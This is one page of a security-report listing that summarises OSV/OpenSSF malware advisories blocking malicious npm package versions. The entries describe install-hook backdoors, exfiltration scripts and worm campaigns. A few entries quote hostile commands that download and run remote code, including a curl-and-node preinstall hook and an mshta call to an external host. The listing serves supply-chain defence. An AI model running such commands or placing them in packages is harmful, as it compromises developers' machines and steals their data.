npm advisory reports, with evidence.
Investigate malicious npm packages reported through OSV and public advisories. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 556
Updated 26 Oct 2026, 02:34 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-6293 blocks this version. The package's preinstall lifecycle hook in package.json runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node in...
OpenSSF/OSV malware advisory MAL-2026-5927 blocks this version. On `npm install`, the package's preinstall hook (preinstall.js) runs `exec('cmd /c "mshta http://fixars.top"')`, invoking t...
OpenSSF/OSV malware advisory MAL-2026-6217 blocks this version. Package masquerades as a string-utility library but ships a postinstall backdoor. On `npm install`, scripts/postinstall.js...
OpenSSF/OSV malware advisory MAL-2026-6216 blocks this version. On `npm install`, the package's postinstall hook (`node scripts/postinstall.js`) spawns a detached background Node process...
OpenSSF/OSV malware advisory MAL-2026-6215 blocks this version. package.json declares a `postinstall` hook that runs `scripts/postinstall.js`, which spawns `scripts/shell.js` as a detache...
OpenSSF/OSV malware advisory MAL-2026-4476 blocks this version. package.json declares `"preinstall": "./.github/scripts/precheck"`, which points at a 976,568-byte precompiled Linux ELF x8...
OpenSSF/OSV malware advisory MAL-2026-4126 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4126 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-6086 blocks this version. collect.js performs system reconnaissance and exfiltration to a hardcoded attacker-controlled host. The script imports chil...
OpenSSF/OSV malware advisory MAL-2026-6086 blocks this version. collect.js performs system reconnaissance and exfiltration to a hardcoded attacker-controlled host. The script imports chil...
OpenSSF/OSV malware advisory MAL-2026-6086 blocks this version. collect.js performs system reconnaissance and exfiltration to a hardcoded attacker-controlled host. The script imports chil...
OpenSSF/OSV malware advisory MAL-2026-5937 blocks this version. OSV/OpenSSF confirms abuden21@1.7.7 as malicious package MAL-2026-5937. Malicious code in abuden21 (npm)
OpenSSF/OSV malware advisory MAL-2026-6463 blocks this version. package.json declares preinstall and postinstall hooks that invoke curl against a hardcoded bare-IP HTTP endpoint (http://6...
OpenSSF/OSV malware advisory MAL-2026-3149 blocks this version. Malicious npm package published by threat actor "raya4321" as part of a coordinated typosquatting campaign impersonating Ap...
OpenSSF/OSV malware advisory MAL-2026-6444 blocks this version. The package advertises itself as a zero-dependency pure-JS markdown sync tool (~150 lines) but ships an undocumented 2.9MB...
OpenSSF/OSV malware advisory MAL-2026-3605 blocks this version. This package was compromised as part of the "Mini Shai-Hulud is back" worm by the TeamPCP threat actor.
OpenSSF/OSV malware advisory MAL-2026-3605 blocks this version. This package was compromised as part of the "Mini Shai-Hulud is back" worm by the TeamPCP threat actor.
OpenSSF/OSV malware advisory MAL-2026-4480 blocks this version. package.json declares `"preinstall": "./scripts/postbuild"`, where `scripts/postbuild` is a 976KB UPX-packed Linux x86-64 E...
OpenSSF/OSV malware advisory MAL-2026-3613 blocks this version. The OpenSSF Package Analysis project identified 'aoflcorp' @ 0.0.1 (npm) as malicious.
OpenSSF/OSV malware advisory MAL-2026-3614 blocks this version. The OpenSSF Package Analysis project identified 'aoflmkt' @ 1.0.0 (npm) as malicious.
OpenSSF/OSV malware advisory MAL-2026-6147 blocks this version. The npm package `analytics-readability-gestures` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive...
OpenSSF/OSV malware advisory MAL-2026-4479 blocks this version. This package impersonates Anthropic's internal namespace and self-describes as 'Full RCE PoC - Alex Birsan Style'. Its pack...
OpenSSF/OSV malware advisory MAL-2026-4127 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-4127 blocks this version. Part of the **Mini Shai-Hulud** supply chain attack campaign in which a threat actor compromised the npm account `atool` an...
OpenSSF/OSV malware advisory MAL-2026-3804 blocks this version. The package bui-react-10components was found to contain malicious code.